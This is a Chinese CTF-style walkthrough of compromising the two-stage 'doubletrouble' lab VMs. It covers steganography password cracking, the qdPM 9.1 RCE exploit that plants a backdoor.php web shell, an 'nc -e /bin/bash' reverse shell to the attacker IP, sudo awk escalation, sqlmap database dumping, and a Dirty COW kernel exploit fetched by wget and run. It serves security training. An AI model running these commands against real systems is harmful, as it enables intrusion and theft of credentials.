靶机下载地址
trouble1
信息收集
主机发现
攻击机ip:192.168.31.218,扫描攻击机同网段存活ip。
nmap 192.168.31.0/24 -Pn -T4
确认目标机ip:192.168.31.174
端口扫描
nmap 192.168.31.174 -A -p- -T4
开放了22,80端口。
目录扫描
访问http服务,首页是一个登录页面,通过邮箱密码登录,直接放弃bp爆破。根据页面信息可知使用了qdPM 9.1版本(qdPM是一款基于web的开源项目管理工具)。
目录扫描。
dirsearch -u http://192.168.31.174
扫描出来的路径都看了一遍,没什么发现,在/secret/下发现一张图片。
渗透
目前仅有的一条线索——doubletrouble.jpg,将图片下载到本地,尝试图片隐写。jpg图片隐写,使用steghide分离隐藏信息。
# 将隐藏信息从载体中分离出来
steghide extract -sf doubletrouble.jpg
提示需要密码,但是根本没有密码相关信息。
查了一下,还有个工具stegseek可以爆破密码并提取出隐藏信息。(kali中默认没有安装这个工具,需要自行安装)
# 安装stegseek
apt install stegseek
# 检查是否安装成功
stegseek --help
# 使用字典暴力破解
# --crack [stegofile.jpg] [wordlist.txt] [output.txt]
stegseek --crack doubletrouble.jpg /usr/share/wordlists/rockyou.txt output.txt
隐藏信息如下:
otisrush@localhost.com otis666
很明显是邮箱地址和密码。
qdpm漏洞利用
拿着图片隐写获取的邮箱地址和密码登录http服务,进入qdpm操作页面。
百度搜索得知qdPM 9.1版本存在命令执行漏洞,攻击者可以通过上传恶意的.php文件利用该漏洞在服务器上执行任意命令。偷懒先用searchsploit找一下有没有可利用的exp。
searchsploit qdpm
,有两个远程命令执行的exp,这里我用的是50175.py。
将exp复制到工作目录,看下如何使用exp。
searchsploit -m 50175.py
cat 50175.py
使用方法如下:
python3 50175.py -url http://192.168.31.174/ -u otisrush@localhost.com -p otis666
执行后发现报错SyntaxError: unterminated string literal (detected at line 95)
,意思是在95行发现语法错误:未终止的字符串文本。根据报错提示对代码进行修改,其实也就是把报错的行后面的内容缩进到一行。例如:
修改成:
这个exp脚本有很多类似的错误,一一修改即可。
成功生成一个后门。
访问http://192.168.31.174//uploads/users/?cmd=whoami下的backdoor.php文件。
试一下http://192.168.31.174//uploads/users/410417-backdoor.php?cmd=whoami
使用nc进行反弹shell。
?cmd=nc -e /bin/bash 攻击机ip port
nc -lvvp port
切换交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo提权
sudo -l
提权。awk提权。
sudo awk 'BEGIN {system("/bin/sh")}'
提权到root,没有找到flag,找到了第二个trouble,所以doubletouble是两个镜像文件的意思。
trouble2
靶机搭建
目标机开启简易http服务,让宿主机下载doubletrouble.ova。
python3 -m http.server
下载好后在virtualbox中打开虚拟机,网络配置修改为桥接。
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
目标机2的ip是:192.168.31.172
端口扫描
对目标机2进行端口扫描。
nmap 192.168.31.172 -A -p- -T4
目标机2开放了22,80端口。
web信息收集
访问80端口的http服务,首页是一个管理员登录页面。
dirsearch扫描目录没有任何发现。
渗透
sql注入
http服务没有其他页面可以作为突破口,既然只有一个登录框,那就尝试弱口令,sql万能密码,都不行。sqlmap跑一下:sqlmap.py -u http://192.168.31.172/index.php --forms --dbs
。发现存在时间盲注,直接爆出数据库名。
# 爆doubletrouble下的表
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble --tables --batch
doubletrouble数据库存在users表。
# 爆字段名
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble -T users --columns --batch
继续爆用户名和密码。
sqlmap.py -u http://192.168.31.172/index.php -forms -D doubletrouble -T users -C password,username --dump --batch
用户1:montreux
密码:GfsZxc1
用户2:clapton
密码:ZubZub99
可是两个用户名和密码都无法登录。开放了22端口,登录ssh服务试试,仅clapton用户登录成功,拿到clapton的shell。
get user.txt
内核提权
内核提权uname -a
内核版本是3.2.78,搜索该版本漏洞searchsploit linux 3.2.78
。找到几个可以用的脏牛提权脚本。
这里我使用40839.c这个脚本,看一下脚本如何使用。根据提示,需要先编译脚本,执行进行提权,之后切换到firefart用户即可。
将脚本上传到目标机2。
# 将脚本复制到工作目录
searchsploit -m 40839.c
# 在脚本所在目录开启简易http服务
python3 -m http.server
# 目标机下载脚本
cd /tmp
wget http://192.168.31.218:8000/40839.c
# 编译
gcc -pthread 40839.c -o 40839 -lcrypt
# 运行
./40839
运行,输入新密码123456。
切换用户su firefart
get root.txt🎆